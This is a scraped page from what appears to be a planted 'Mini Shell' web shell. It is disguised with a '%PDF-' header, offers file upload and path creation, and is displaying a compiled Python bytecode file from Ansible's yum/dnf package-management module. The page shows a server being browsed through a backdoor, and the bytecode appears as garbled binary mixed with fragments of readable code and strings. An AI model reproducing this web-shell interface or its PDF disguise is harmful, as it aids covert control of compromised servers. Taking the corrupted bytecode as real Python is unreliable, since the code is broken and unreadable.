%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/__pycache__/yumdnf.cpython-39.pyc

a

�)gb�!@s�ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
mZmZddl
mZddlmZeeeddd�eddd�edddd	�eddd�ed
d�ed
dd�eddd�edd
gd
�edd
gd
�eddd�ed
dd�edd
gd
�edd
gd
�edd
gd
�ed
dd�eddd�eddd�ed
d�edd
dggd�edd�eddd�eddd�ed
dgd�d�edddgd�edddd�eddd�eddd�eddd�d�gd�gddggdd�ZGdd �d eee��ZdS)!�)�absolute_import�division�print_functionN)�ABCMeta�abstractmethod)�	to_native)�with_metaclass�boolF)�type�default)�requiredr
r�str)r
�list)r
�elementsr�/T�pkg)r
r�aliasesr)r)�absentZ	installedZlatest�presentZremoved)r
r�choiceszexpire-cache)r
rr�no)rrr
�int�)�allow_downgrade�
autoremove�bugfix�	cacheonly�	conf_file�disable_excludes�disable_gpg_check�disable_plugin�disablerepo�
download_only�download_dir�
enable_plugin�
enablerepo�exclude�installroot�install_repoquery�install_weak_depsr�name�
releasever�security�skip_broken�state�update_cache�update_only�validate_certs�	sslverify�lock_timeout)r*rr/r*)Z
argument_specZrequired_one_ofZmutually_exclusiveZsupports_check_modec@sHeZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	edd
��Z
dS)�YumDnfz�
    Abstract class that handles the population of instance variables that should
    be identical between both YUM and DNF modules because of the feature parity
    and shared argument spec
    csd||_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_	|jj�
d	g�|_|jjd
|_|jjd|_
|jjd|_|jj�
d
g�|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_dd�|jjdD�|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|jjd|_|�|j�|_|�|j�|_|�|j�|_|�|j�|_|jD]4�d�v�r�t �fd d!�d"D���s�|j!d#d$��q�|jdu�r6|j�r0d%|_nd&|_|j�rZ|jd%k�rZ|jj!d'gd(�d)|_"dS)*Nrrrrrrrr r!r"r#r$r%r&r'r(r)rcSsg|]}|���qS���strip)�.0�pr5r5�?/usr/lib/python3.9/site-packages/ansible/module_utils/yumdnf.py�
<listcomp>[�z#YumDnf.__init__.<locals>.<listcomp>r*r+r,r-r.r0r/r1r2r3� c3s|]}|�vVqdS�Nr5)r8�spec�r*r5r:�	<genexpr>pr<z"YumDnf.__init__.<locals>.<genexpr>)�@�>�<�=z�It appears that a space separated string of packages was passed in as an argument. To operate on several packages, pass a comma separated string of packages or a list of packages.��msgrrz4Autoremove should be used alone or with state=absent)rG�resultsz/var/run/yum.pid)#�module�paramsrrrrrrrr �getr!r"r#r$r%r&r'r(r)r�namesr+r,r-r.r0r/r1r2r3�!listify_comma_sep_strings_in_list�any�	fail_json�lockfile)�selfrIr5r@r:�__init__Es`
"�
�zYumDnf.__init__cCsdSr>r5�rQr5r5r:�is_lockfile_pid_valid�szYumDnf.is_lockfile_pid_validcCs"tj�|j�st�|j�o |��Sr>)�os�path�isfilerP�globrTrSr5r5r:�_is_lockfile_present�szYumDnf._is_lockfile_presentcCsZ|��sdS|jdkr@td|j�D]}t�d�|��s"dSq"|jjd�|j�d�dS)z>Poll until the lock is removed if timeout is a positive numberNr�z'{0} lockfile is held by another processrF)	rYr3�range�time�sleeprIrO�formatZpkg_mgr_name)rQZ	iterationr5r5r:�
wait_for_lock�s

zYumDnf.wait_for_lockcCsng}g}|D]0}d|vr|�|�|�dd�|�d�D��q|D]}|�|�qB|�|�|dgkrjgS|S)z�
        method to accept a list of strings as the parameter, find any strings
        in that list that are comma separated, remove them from the list and add
        their comma separated elements to the original list
        �,cSsg|]}|���qSr5r6)r8�er5r5r:r;�r<z<YumDnf.listify_comma_sep_strings_in_list.<locals>.<listcomp>�)�append�extend�split�remove)rQZ	some_listZnew_listZremove_from_original_list�elementr5r5r:rM�s


z(YumDnf.listify_comma_sep_strings_in_listcCst�dSr>)�NotImplementedErrorrSr5r5r:�run�sz
YumDnf.runN)�__name__�
__module__�__qualname__�__doc__rRrrTrYr_rMrir5r5r5r:r4>sC
r4)Z
__future__rrrr
Z
__metaclass__rUr\rXZtempfile�abcrrZansible.module_utils._textrZansible.module_utils.sixr�dictZyumdnf_argument_spec�objectr4r5r5r5r:�<module>sX














��&

Zerion Mini Shell 1.0